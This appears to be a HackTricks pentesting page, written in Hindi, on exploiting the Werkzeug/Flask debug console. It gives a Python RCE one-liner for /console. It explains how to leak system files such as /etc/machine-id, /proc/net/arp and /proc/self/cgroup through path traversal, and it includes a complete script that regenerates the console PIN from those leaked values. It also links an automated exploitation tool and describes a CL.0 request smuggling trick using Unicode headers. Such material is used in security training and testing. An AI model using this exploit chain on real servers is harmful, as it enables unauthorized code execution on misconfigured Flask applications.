# Werkzeug / Flask Debug {{#include ../../banners/hacktricks-training.md}} ## Console RCE यदि डिबग सक्रिय है, तो आप `/console` पर पहुँचने और RCE प्राप्त करने का प्रयास कर सकते हैं। ```python __import__('os').popen('whoami').read(); ``` ![](<../../images/image (117).png>) इंटरनेट पर कई एक्सप्लॉइट्स भी हैं जैसे [यह ](https://github.com/its-arun/Werkzeug-Debug-RCE)या मेटास्प्लॉइट में एक। ## पिन सुरक्षित - पथ ट्रैवर्सल कुछ अवसरों पर **`/console`** एंडपॉइंट एक पिन द्वारा सुरक्षित होगा। यदि आपके पास **फाइल ट्रैवर्सल वल्नरेबिलिटी** है, तो आप उस पिन को उत्पन्न करने के लिए सभी आवश्यक जानकारी लीक कर सकते हैं। ### Werkzeug कंसोल पिन एक्सप्लॉइट ऐप में एक डिबग त्रुटि पृष्ठ को मजबूर करें ताकि आप इसे देख सकें: ``` The console is locked and needs to be unlocked by entering the PIN. You can find the PIN printed out on the standard output of your shell that runs the server ``` एक संदेश "कंसोल लॉक" परिदृश्य के बारे में तब सामने आता है जब Werkzeug के डिबग इंटरफेस तक पहुँचने का प्रयास किया जाता है, जो कंसोल को अनलॉक करने के लिए एक PIN की आवश्यकता को इंगित करता है। सुझाव दिया गया है कि कंसोल PIN का शोषण करने के लिए Werkzeug के डिबग प्रारंभिक फ़ाइल (`__init__.py`) में PIN जनरेशन एल्गोरिदम का विश्लेषण किया जाए। PIN जनरेशन तंत्र का अध्ययन [**Werkzeug स्रोत कोड भंडार**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py) से किया जा सकता है, हालांकि संभावित संस्करण भिन्नताओं के कारण वास्तविक सर्वर कोड को फ़ाइल ट्रैवर्सल भेद्यता के माध्यम से प्राप्त करने की सलाह दी जाती है। कंसोल PIN का शोषण करने के लिए, दो सेट के वेरिएबल्स, `probably_public_bits` और `private_bits`, की आवश्यकता होती है: #### **`probably_public_bits`** - **`username`**: उस उपयोगकर्ता को संदर्भित करता है जिसने Flask सत्र शुरू किया। - **`modname`**: आमतौर पर `flask.app` के रूप में नामित होता है। - **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: आमतौर पर **Flask** में हल होता है। - **`getattr(mod, '__file__', None)`**: Flask निर्देशिका के भीतर `app.py` के लिए पूर्ण पथ का प्रतिनिधित्व करता है (जैसे, `/usr/local/lib/python3.5/dist-packages/flask/app.py`)। यदि `app.py` लागू नहीं है, तो **`app.pyc`** का प्रयास करें। #### **`private_bits`** - **`uuid.getnode()`**: वर्तमान मशीन का MAC पता प्राप्त करता है, जिसमें `str(uuid.getnode())` इसे दशमलव प्रारूप में अनुवादित करता है। - **सर्वर के MAC पते का निर्धारण करने के लिए**, एक को सक्रिय नेटवर्क इंटरफेस की पहचान करनी होगी जिसका उपयोग ऐप द्वारा किया जा रहा है (जैसे, `ens3`)। यदि अनिश्चितता हो, तो **`/proc/net/arp`** लीक करें ताकि डिवाइस ID मिल सके, फिर **`/sys/class/net//address`** से **MAC पता निकालें**। - एक हेक्साडेसिमल MAC पते को दशमलव में परिवर्तित करने के लिए नीचे दिखाए अनुसार किया जा सकता है: ```python # उदाहरण MAC पता: 56:00:02:7a:23:ac >>> print(0x5600027a23ac) 94558041547692 ``` - **`get_machine_id()`**: `/etc/machine-id` या `/proc/sys/kernel/random/boot_id` से डेटा को `/proc/self/cgroup` की पहली पंक्ति के साथ अंतिम स्लैश (`/`) के बाद जोड़ता है।
Code for `get_machine_id()` ```python def get_machine_id() -> t.Optional[t.Union[str, bytes]]: global _machine_id if _machine_id is not None: return _machine_id def _generate() -> t.Optional[t.Union[str, bytes]]: linux = b"" # machine-id is stable across boots, boot_id is not. for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id": try: with open(filename, "rb") as f: value = f.readline().strip() except OSError: continue if value: linux += value break # Containers share the same machine id, add some cgroup # information. This is used outside containers too but should be # relatively stable across boots. try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")[2] except OSError: pass if linux: return linux # On OS X, use ioreg to get the computer's serial number. try: ```
सभी आवश्यक डेटा को एकत्र करने के बाद, एक्सप्लॉइट स्क्रिप्ट को Werkzeug कंसोल PIN उत्पन्न करने के लिए निष्पादित किया जा सकता है: सभी आवश्यक डेटा को एकत्र करने के बाद, एक्सप्लॉइट स्क्रिप्ट को Werkzeug कंसोल PIN उत्पन्न करने के लिए निष्पादित किया जा सकता है। स्क्रिप्ट एकत्रित `probably_public_bits` और `private_bits` का उपयोग करके एक हैश बनाती है, जो फिर अंतिम PIN उत्पन्न करने के लिए आगे की प्रक्रिया से गुजरती है। नीचे इस प्रक्रिया को निष्पादित करने के लिए Python कोड है: ```python import hashlib from itertools import chain probably_public_bits = [ 'web3_user', # username 'flask.app', # modname 'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__')) '/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None), ] private_bits = [ '279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address 'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id ] # h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0 h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') # h.update(b'shittysalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] rv = None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num print(rv) ``` यह स्क्रिप्ट जुड़े हुए बिट्स को हैश करके, विशिष्ट साल्ट (`cookiesalt` और `pinsalt`) जोड़कर, और आउटपुट को फॉर्मेट करके PIN उत्पन्न करती है। यह ध्यान रखना महत्वपूर्ण है कि `probably_public_bits` और `private_bits` के वास्तविक मानों को लक्षित प्रणाली से सटीक रूप से प्राप्त करना आवश्यक है ताकि उत्पन्न PIN Werkzeug कंसोल द्वारा अपेक्षित PIN से मेल खाता हो। > [!TIP] > यदि आप Werkzeug के **पुराने संस्करण** पर हैं, तो **hashing algorithm को md5** में बदलने का प्रयास करें बजाय sha1 के। ## Werkzeug Unicode chars जैसा कि [**इस मुद्दे**](https://github.com/pallets/werkzeug/issues/2833) में देखा गया है, Werkzeug हेडर में Unicode वर्णों के साथ एक अनुरोध को बंद नहीं करता है। और जैसा कि [**इस लेखन**](https://mizu.re/post/twisty-python) में समझाया गया है, यह एक CL.0 Request Smuggling भेद्यता का कारण बन सकता है। यह इसलिए है, क्योंकि Werkzeug में कुछ **Unicode** वर्ण भेजना संभव है और यह सर्वर को **टूट** देगा। हालाँकि, यदि HTTP कनेक्शन को **`Connection: keep-alive`** हेडर के साथ बनाया गया था, तो अनुरोध का शरीर नहीं पढ़ा जाएगा और कनेक्शन अभी भी खुला रहेगा, इसलिए अनुरोध का **शरीर** **अगले HTTP अनुरोध** के रूप में माना जाएगा। ## Automated Exploitation {{#ref}} https://github.com/Ruulian/wconsole_extractor {{#endref}} ## References - [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/) - [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955) - [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833) - [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python) {{#include ../../banners/hacktricks-training.md}}